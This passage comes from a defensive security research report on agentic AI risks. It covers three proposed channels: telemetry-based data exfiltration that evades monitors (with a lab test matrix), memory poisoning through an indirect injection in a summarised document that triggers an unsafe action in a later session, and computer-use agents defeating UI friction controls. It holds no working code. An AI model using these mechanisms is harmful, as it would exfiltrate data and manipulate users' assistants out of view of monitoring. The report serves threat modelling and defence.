  • Content capture. Repeat the baseline with SDK content-capture and redaction settings varied, and record how exposure changes. Verify exact setting names for the pinned SDK version.
  • Second SDK. Repeat the highest-signal cells with one additional vendor SDK or tracing implementation. Results from OpenTelemetry Python should not be generalized automatically.

Suggested test matrix

Arm Redirect host Approved host + attacker tenant Second exporter Metadata smuggling Direct HTTPS control
Egress allow-all Test Test Test Test Test
Domain allowlist Test Test Test Test Test
Allowlist + TLS inspection Test Test Test Test Test
Collector-enforced Test Test Test Test Test
Monitor v2 Test Test Test Test Test
Monitor v2 + tripwire Test Test Test Test Test

Run every relevant matrix cell under P1, P2, and P3. Preserve a pre-registered hypothesis and expected outcome for every cell. Record data arrival, detection source, first detection point, and whether the telemetry path was easier or harder to detect than the direct control.

Success and failure criteria

  • At least one variant succeeds under the stated privilege model, the canary reaches the alternate destination or attacker-controlled tenant, and the stronger monitoring arm does not detect or block it before data would have left the intended trust boundary.
  • Partially supported. A variant works only under one privilege model, one weak egress control, or one SDK implementation. Report the limitation rather than generalizing it.
  • Not supported. The pinned SDK cannot perform the relevant mutation, the collector blocks every variant before the application can export outside the controlled path, or independent sources detect telemetry variants at least as readily as direct exfiltration.
  • Evasion claim specifically. If telemetry variants are not measurably harder to detect than the direct-exfiltration control, the report’s central Trace Drain evasion claim is not supported.

Companion deployment survey

A low-cost companion survey should inventory how real deployments set telemetry endpoints and credentials: environment variables, source code, container environment, configuration maps, secret managers, command-line arguments, or collector configuration. This survey does not require a laboratory exploit and directly addresses the report’s untested prevalence question. The survey is proposed, not executed for this report.

Data handling and teardown

Destroy synthetic data, lab infrastructure, and traffic captures at conclusion except what the written research record requires. The report should contain no real secrets or production details. Record exact SDK versions, operating system, configuration, control arm, and mechanism tested so the result remains reproducible and scoped.

What this test does not answer

It does not test server-side abuse detection at a real vendor, which requires vendor cooperation. It does not establish the prevalence of runtime-mutable endpoints in real production deployments. It does not test Sleeper Context or the Sighted Adversary.

Why the monitor is not the control

An external monitor reading a target process’s startup environment cannot see changes made inside the target after initialization. A monitor, signed baseline, and local logs also share the host trust domain unless the key and alert sink are kept elsewhere. The reference architecture therefore pairs an external monitor, an in-process tripwire, and a collector-enforced egress boundary. The collector, not the monitor, is the primary architectural control.

SHADOW CHANNEL II: SLEEPER CONTEXT

Figure 4. Sleeper Context lifecycle split. The forensic finding rests on the possibility that memory outlives the session that created it.

What we verified

OpenAI documents that saved memories are stored separately from chat history and that deleting a chat does not necessarily delete a separate saved memory [C]. Anthropic documents that memory persists across chats and that deleting or expiring a conversation does not itself remove related memory entries [C]. These facts establish lifecycle asymmetry. They do not establish a security exploit.

Two separate claims

Forensics claim. An investigation workflow organized around the later session may have difficulty reconstructing a behavior change from a memory entry created in an earlier session if the source session has a shorter retention period. This is a documented architectural condition and can be evaluated without assuming malicious memory poisoning.

Exploitation claim. An attacker may attempt to plant a benign-seeming memory entry through an indirect injection, compromised account, document, email, webpage, or shared context. The entry may later combine with unrelated context to cause an unsafe action. This is a separate hypothesis. It is not inferred merely from retention asymmetry.

Concrete scenario to test

Write vector: an indirect injection embedded in a synthetic document that a memory-enabled assistant is asked to summarize. Stored entry: a neutral-looking preference or fact that would be useful for later task completion but also contains a hidden semantic dependency. Trigger context: a later, unrelated session that legitimately requests an action affected by that stored fact. Unsafe outcome: the model takes a security-relevant step that it would not take without the memory. Validation requirement: demonstrate that the stored entry was accepted, persisted, later retrieved, changed the model’s behavior materially, and was not neutralized by generation-time safeguards. A change in tone or mild personalization is not sufficient.

Existing literature and novelty boundary

Recent research has already demonstrated memory-poisoning and delayed prompt-injection patterns in agentic systems, including controlled work against systems based on OpenAI and Anthropic models [R]. This means the broad proposition that persistent memory can be poisoned is no longer novel. The narrower contribution here is to connect the documented lifecycle behavior of named consumer memory systems with a forensic retention question and then test a specific write-vector and later-context mechanism against the actual product behavior.

Bitwarden as a related supply-chain write-vector example

Independent analysis of the April 2026 Bitwarden CLI compromise reported an AI-assistant poisoning component in the compromised package [R]. The official Bitwarden statement does not establish that behavior [C], so this report does not use it as evidence that OpenAI or Anthropic memory is vulnerable. At most, it is a reported real-world example of supply-chain compromise being discussed in the context of AI-assistant context manipulation, and it requires separate source validation before stronger claims are made.

What would change our confidence?

Toward Demonstrated: a controlled test against both named products shows a relevance-filter-passing or otherwise stored entry changing later behavior in a security-relevant way, with timestamps and memory provenance sufficient to reconstruct the chain. Against the finding: the product rejects the write, does not retrieve it in the later context, generation-time safety consistently blocks the unsafe outcome, or the relevant memory lifecycle is fully linked to auditable source-session records.

Framework mapping

Framework Mapping Why it applies
MITRE ATLAS AML.T0080 AI Agent Context Poisoning Directly covers poisoning of context used by an AI agent; the current ATLAS release includes memory and thread sub-techniques.
OWASP GenAI 2025 LLM01 Prompt Injection; LLM04 Data and Model Poisoning; LLM02 Sensitive Information Disclosure Relevant to indirect injection, poisoned persistent context, and possible disclosure triggered by stored context.
OWASP GenAI 2025 LLM06 Excessive Agency Relevant when a later unsafe behavior becomes an action rather than merely a text response.

Preconditions and defender view

Precondition Existing blocker Cheaper alternative Detection opportunity Assessment
Write access to memory User confirmation, provenance, content review Compromise the account or trusted input source Memory-write audit, source provenance, user-visible review Key precondition
Persistent storage survives source session Retention policy alignment Use a current-session injection Cross-session correlation, retention-aware SIEM Forensic issue
Later context activates entry Generation-time safety, policy checks Inject directly into the later session Prompt/context logging, action audit Primary exploitation hypothesis

 

Claim Likelihood Impact Attacker cost Current confidence
Forensic retention asymmetry Medium Medium Low High for documented lifecycle behavior
Benign entry becomes materially unsafe later Low-Medium High Medium Low until product-specific test

Recommendations specific to this channel

  • Align memory-store and session-log retention deliberately, or document the non-alignment as a forensic control consideration.
  • Maintain provenance for every memory write: source session, source artifact, actor, timestamp, and deletion event. Give users or administrators a reviewable memory history where the product supports it.
  • Test memory writes against security-relevant combinations, not only standalone harmful instructions. Generation-time safety should remain a separate control.
  • Treat this as the least mature finding until the named product behavior is exercised under controlled conditions.

SHADOW CHANNEL III: THE SIGHTED ADVERSARY

Figure 5. The Sighted Adversary split. Delegated-agent use is primarily an authorization-scope problem; public-site automation is primarily an anti-abuse problem.

What we verified

Commercial computer-use agents with visual and semantic interpretation of rendered interfaces exist as deployed product capabilities [C]. OpenAI has documented computer-use capabilities that interpret screenshots and execute mouse and keyboard actions, and Anthropic has documented computer-use capabilities in its product environment [C]. Vision systems defeating CAPTCHA challenges are a known line of work and are not claimed as novel here.

Two different security problems

Delegated agent inside an authorized session. If a human grants an agent permission to view and interact with data, the agent is exercising that authorization. The question becomes whether the authorization scope, action budget, and business logic were designed for machine-scale execution. This is closely aligned with excessive agency and action-governance concerns, not authorization bypass.

Public-site scraping. A site that uses friction to make bulk extraction tedious may face a bot-management problem when a computer-use agent can automate the same work. The relevant controls are server-side rate limiting, behavioral detection, identity, and usage budgets. The report does not claim that visual understanding defeats a security boundary by itself.

The mechanism, precisely

Some UI patterns assume that human attention is the cost: a user must hover to reveal a field, read a canvas-rendered value, transcribe an image-rendered number, or move through pages one at a time. A computer-use agent can potentially remove that human time cost while remaining within the same page and account permissions. The loss is therefore the friction control’s rate-limiting effect, not the underlying confidentiality or authorization boundary.

Measurement plan

Select one named computer-use agent and one named friction pattern, such as hover-unmask fields, canvas-rendered values, or image-rendered numbers. Compare agent pages per hour, extraction accuracy, total cost, and failure rate against a human baseline. Run the same scenario with and without server-side rate limiting or bot-management controls. A finding about scale should contain numbers.

What would change our confidence?

Toward Demonstrated: a controlled comparison shows materially higher automated throughput at similar authorization scope, while the friction control itself contributes little or no additional resistance. Against the finding: server-side rate limiting, identity controls, or behavioral detection already constrains the agent to roughly human-equivalent throughput, making the UI friction non-load-bearing.

Framework mapping

Framework Mapping Why it applies
OWASP GenAI 2025 LLM06 Excessive Agency The delegated-agent case is about permissions and autonomy being broader than the system was designed to safely exercise.
MITRE ATLAS AML.T0108 AI Agent Configuration / current agent technique family, where applicable Useful as contextual mapping for agent deployment and configuration. Apply the exact current technique label used in the release under review.
ATT&CK No direct authorization-bypass claim The report deliberately does not map this finding to an authentication or authorization bypass technique.

Preconditions and defender view

Scenario Precondition Existing blocker Detection opportunity Assessment
Delegated agent Broad legitimate session access Least privilege, per-action approval, action budgets Audit actions, volume and sequence anomalies Authorization-scope risk
Public-site scraping Public or low-friction access to target data Rate limiting, bot detection, identity Server-side behavioral signals Anti-abuse risk

 

Scenario Likelihood Impact Attacker cost Current confidence
Delegated authorized session Medium High Low-Medium Medium pending measurement
Public-site automation Medium Medium-High Low Medium pending server-side control testing

Recommendations specific to this channel

  • Inventory controls whose real function is friction or rate limiting, then identify whether a server-side control independently enforces the intended throughput boundary.
  • For delegated agents, define per-session action, volume, and time budgets appropriate to the business task. Do not assume that a human-scale authorization implies a machine-scale authorization.
  • For public sites, treat UI friction as a supplement to server-side bot-management controls, not a substitute for them.

WHAT’S VERIFIED, WHAT’S ASSUMED, ACROSS ALL THREE

Channel Core fact, verified [C] Core inference, unverified [A] Weakest link Next validation
Trace Drain OTLP endpoint configuration and telemetry capture surfaces exist; supply-chain incidents establish relevant execution precedents. A compromised process can alter or augment telemetry in a way that materially changes detectability. Whether independent controls or vendor tenant controls close the gap. Controlled lab with A-E variants, direct control, P1-P3.
Sleeper Context Memory can outlive or be governed separately from source conversations. A benign stored entry can become security-relevant in later context. Whether product safeguards prevent a materially unsafe outcome. Product-specific memory poisoning and forensic reconstruction test.
Sighted Adversary Computer-use agents can visually interpret and operate interfaces. Some friction-based controls no longer rate-limit machine-scale extraction. Whether server-side anti-abuse controls already carry the load. Named agent + named pattern + human baseline + server-side controls.

CROSS-CHANNEL SYNTHESIS

The three findings should be treated as independent research questions, not one attack chain. They share only a threat-modeling pattern: agentic systems acquire capabilities from surrounding infrastructure that may not be represented in the agent’s declared tool list. That shared scope problem is useful, but the technical preconditions, control owners, and validation methods differ.

The absence of public incidents matching these exact mechanisms cannot be interpreted as proof that they are harmless or prevalent. Several explanations remain possible: the paths may be difficult to execute, already mitigated by controls not evaluated here, economically unattractive compared with simpler attack routes, or not yet attempted. The report therefore prioritizes findings by testability and defensive value rather than by alarm level.

The practical implication is to threat-model the complete agent system: model interface, tools, retrievers, memory, observability, package supply chain, browser or computer-use layer, identity, secrets, caches, and egress. A review that covers only the functions explicitly delegated to the agent can miss security properties created by the surrounding infrastructure.

RELATED WORK

Trusted service and web-service exfiltration

MITRE ATT&CK already models supply-chain compromise as T1195 and exfiltration over web services as T1567, with T1071 covering application-layer protocols. ATT&CK explicitly recognizes that web services can provide cover because organizations may already communicate with them. The novelty claimed here is therefore not web-service exfiltration itself. It is the agent-specific observability channel and the possibility that telemetry is granted different trust treatment because it exists as framework infrastructure.

Memory poisoning and delayed prompt injection

Recent research has moved beyond theoretical discussions of persistent context. Controlled studies have evaluated memory poisoning and delayed prompt injection against agentic systems, including environments built around OpenAI and Anthropic models [R]. These studies narrow the novelty available to this report. The remaining contribution is a product-specific analysis of memory lifecycle, provenance, and forensic reconstruction, with an explicit requirement to test the mechanism rather than infer it from retention behavior alone.

Computer-use and human-friction controls

Commercial computer-use documentation establishes the capability for an agent to interpret rendered interfaces and use mouse and keyboard actions [C]. CAPTCHA defeat by vision systems is established prior art and is excluded from the novel claim. The report instead focuses on non-CAPTCHA friction patterns and asks whether the control was ever actually load-bearing once the cost of human attention is removed by automation.

Adjacent AI infrastructure exposure

Knostic’s MCP exposure research is useful as contextual evidence that AI infrastructure can be deployed with weak baseline controls [R]. It is not evidence that Trace Drain, Sleeper Context, or the Sighted Adversary have occurred. This report retains the narrower Knostic sample statement because it illustrates the deployment-hardening theme without being used as a substitute for evidence about the three findings.

RECOMMENDATIONS

The recommendations below are organized by decision level and are intended to address the architectural gaps identified in the three channels. They should be treated as baseline controls unless a finding depends on further validation specific to the environment.

Strategic

  • Extend AI security threat modeling beyond declared agent permissions. Review not only the tools an agent is explicitly authorized to use, but also the infrastructure that operates alongside it by default, including telemetry, memory, retrieval, browser or computer-use capabilities, plugins, collectors, and external service integrations.
  • Assign explicit ownership for agent infrastructure security. Telemetry, memory, and supporting platform components often sit between application security and platform engineering. Assign an owner responsible for reviewing these components as part of the agent’s security boundary rather than assuming they are covered by another team’s controls.
  • Adopt an organization-controlled telemetry architecture. Where practical, route agent telemetry through an organization-controlled OpenTelemetry Collector or equivalent gateway. Applications should not require direct access to third-party observability credentials, and application egress should be restricted to the approved collector.
  • Treat agent dependencies as part of the security boundary. Apply dependency pinning, package hash verification, provenance checks, SBOM generation, trusted publishing where supported, and a release-age cooldown for newly published versions. These controls reduce the likelihood that a supply-chain compromise becomes the initial execution mechanism assumed by Trace Drain.
  • Define security budgets for computer-use agents. Establish explicit limits on the number of pages, records, actions, transactions, or other units an agent can process within a session. Authorization should define not only what the agent can access, but also the scale at which it can exercise that access.
  • Establish security requirements for persistent memory. Memory-enabled agents should have defined requirements for provenance, retention, reviewability, deletion, and auditability so that stored context can be investigated independently of the session in which it was created.
  • Prioritize controlled validation of Trace Drain. Trace Drain is currently the most tractable of the three findings to test. Its validation should determine whether further investment in the other two mechanisms is warranted.

Tactical

  • Inventory all telemetry destinations used by production agent deployments. Record whether each endpoint is fixed at build time, supplied through deployment configuration, or mutable at runtime. Runtime-mutable destinations should receive higher priority for hardening and change monitoring.
  • Restrict application telemetry to approved destinations. Use explicit egress policies and, where possible, tenant-aware controls rather than relying only on vendor hostnames. A hostname allowlist cannot by itself distinguish legitimate traffic to an approved vendor from traffic associated with an attacker-controlled tenant.
  • Move vendor credentials out of application environments. Where an organization-controlled collector is available, keep third-party observability credentials at the collector and prevent the application process from accessing them directly.
  • Inspect and redact telemetry before export. Treat prompts, completions, tool arguments, retrieval content, and span attributes as potentially sensitive data. Apply attribute filtering and secret redaction before telemetry leaves the organization’s controlled environment.
  • Monitor telemetry configuration for unauthorized changes. Alert on changes to tracing endpoints, exporter configuration, credentials, proxy settings, certificate settings, and telemetry-disable switches. Exact environment-variable names and configuration paths should be maintained as part of the deployment-specific monitoring inventory.
  • Monitor startup and dependency loading paths. Detect new or modified executable .pth files and other startup-hook mechanisms within agent environments. These changes should be investigated even when no telemetry endpoint has changed.
  • Align memory and session-log retention policies deliberately. Where equal retention is not practical, document the difference and ensure investigators can reconstruct the relationship between a memory entry and the session that created it.
  • Record provenance for memory writes. For memory-enabled systems, maintain an audit trail showing when an entry was created, which session or source produced it, and when it was subsequently retrieved or used.
  • Replace friction-only controls with server-side controls where necessary. Where a non-CAPTCHA UI mechanism is the only defense against bulk automated extraction, add independent server-side rate limiting, behavioral detection, or volume controls.
  • Review authorization scope for computer-use agents. A computer-use agent operating inside a legitimately authorized session does not inherently bypass authorization. The relevant control is therefore whether the permissions granted to the agent are broader than the task requires.
  • Maintain deployment-specific control inventories. Record which controls rely on authorization, which rely on rate limiting, which rely on human friction, and which rely on monitoring. This distinction should be explicit rather than inferred during an incident.

 Operational

  • Alert on changes to tracing endpoints and exporter configuration. Monitor both deployment configuration and runtime telemetry settings, including destination changes, exporter additions, telemetry-disable settings, and relevant proxy or certificate changes.
  • Monitor for unauthorized telemetry destinations at the network layer. Correlate DNS, egress, proxy, and EDR telemetry to identify connections that differ from the approved deployment baseline. Do not rely exclusively on the hostname allowlist maintained by the agent itself.
  • Alert on suspicious telemetry content. Monitor trace payloads for secret-like attributes, unexpected credential material, unusual payload size, or other indicators defined by the organization’s data-classification policy. Detection thresholds should be tuned against a clean baseline to reduce false positives.
  • Log memory writes and retrievals. Record memory creation, modification, deletion, and retrieval events with timestamps and source-session identifiers so investigators can follow an event across multiple sessions.
  • Maintain an external alert destination. Security alerts generated by an in-process tripwire or application-level detector should be forwarded to a sink outside the application’s write and execution domain. Local logs alone should not be treated as authoritative evidence against an attacker with application-level privileges.
  • Use independent detection sources during validation. For Trace Drain testing and future investigations, retain evidence from egress controls, DNS monitoring, EDR, file-integrity monitoring, collector logs, and application-level detections rather than relying solely on the reference monitor.
  • Establish per-session and per-task activity limits for computer-use agents. Monitor page counts, repeated navigation, extraction volume, action frequency, and other workload characteristics that would distinguish normal assisted use from large-scale automated collection.
  • Retain evidence long enough to investigate cross-session activity. Retention should account for the possibility that the artifact responsible for a later behavior may have originated outside the session in which the behavior was observed.
  • Review third-party vendor detection capabilities periodically. Obtain documented information on how observability and memory providers detect anomalous metadata, tenant changes, credential changes, and suspicious memory writes. Vendor controls should complement, not replace, organization-controlled monitoring.
  • Run periodic validation exercises. Re-test representative agent deployments after major SDK, framework, memory, or computer-use capability changes. A control that works for one SDK version or deployment architecture should not automatically be assumed to work for another.

Priority actions

The immediate defensive priority should be to control the telemetry path, remove unnecessary vendor credentials from agent processes, monitor telemetry configuration changes, and ensure that independent network and endpoint controls can observe the agent’s outbound activity. For memory-enabled systems, retention and provenance should be addressed in parallel, while friction-based UI controls should be reviewed wherever they are being relied upon as the primary protection against bulk automation.

Baseline engineering controls

  • Dependency pinning and hash verification for agent runtime packages.
  • Minimum release-age cooldowns for new package versions and emergency exception logging.
  • Trusted publishing or provenance verification where the package ecosystem supports it.
  • SBOM generation and continuous comparison against deployed environments.
  • Least privilege and scoped secrets for agent processes. Applications should not receive credentials they do not need to perform their delegated task.
  • Memory-write provenance, user-visible memory review, and explicit deletion semantics.
  • Per-session action, volume, and time budgets for computer-use agents, with independent server-side limits.

CONCLUSION

Agentic AI security extends beyond the tools and permissions explicitly granted to an agent. Telemetry, persistent memory, dependencies, and computer-use capabilities can introduce security-relevant behavior that traditional agent threat models may not fully cover.

This report does not establish three confirmed attack techniques. Trace Drain remains the most testable hypothesis, Sleeper Context is primarily a documented retention and forensic concern until exploitation is demonstrated, and the Sighted Adversary is limited to friction-based controls whose effectiveness depends on human effort rather than authorization.

The practical priority is therefore to make these additional channels visible, independently monitored, and testable. Trace Drain should be validated first, while memory provenance and retention, dependency security, and server-side controls for bulk automation should be reviewed in parallel.

The central lesson is simple: the security boundary of an agentic system is larger than the agent’s declared tool set. That boundary should be explicitly modeled, monitored, and periodically tested.